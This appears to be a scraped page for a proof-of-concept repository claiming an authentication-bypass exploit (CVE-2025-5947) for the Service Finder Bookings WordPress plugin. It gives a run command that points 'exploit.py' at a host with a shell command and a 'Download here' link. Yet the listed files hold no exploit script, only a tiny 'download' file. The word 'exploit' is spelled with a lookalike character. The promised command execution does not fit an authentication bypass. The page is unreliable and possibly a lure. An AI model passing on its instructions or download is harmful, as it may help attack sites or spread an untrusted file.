CVE-2025-5947 PoC — Service Finder Bookings <= 6.0 - Authentication Bypass via User Switch Cookie

Source

Associated Vulnerability

Readme

## Overview
This is due to the plugin not properly validating a user's cookie value prior to logging them in through the service_finder_switch_back() function. This makes it possible for unauthenticated attackers to login as any user including admins.


## Details
- **CVE ID**: [CVE-2025-5947](https://nvd.nist.gov/vuln/detail/CVE-2025-5947)
- **Discovered**: 2025-08-01
- **Published**: 2025-08-01
- **Impact**: Confidentiality

## Vulnerability Description
This vulnerability arises from a failure to properly validate user cookie values during the authentication process within the service_finder_switch_back() function. As a result, this oversight allows unauthenticated attackers to gain access to user accounts, including those with administrative privileges, without requiring valid credentials. The implications of this fault can be severe, potentially allowing attackers to manipulate site settings, access sensitive data, and execute administrative functions, thereby undermining the integrity and security of WordPress sites utilizing the affected plugin.

## Running

To run explоit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

### [Download here](download)

File Snapshot

 [4.0K]  /data/pocs/0390ee489ec3fe9977c5afc7e0aaf0ef865296a4
├── [  15]  download
└── [1.2K]  README.md

1 directory, 2 files

Remarks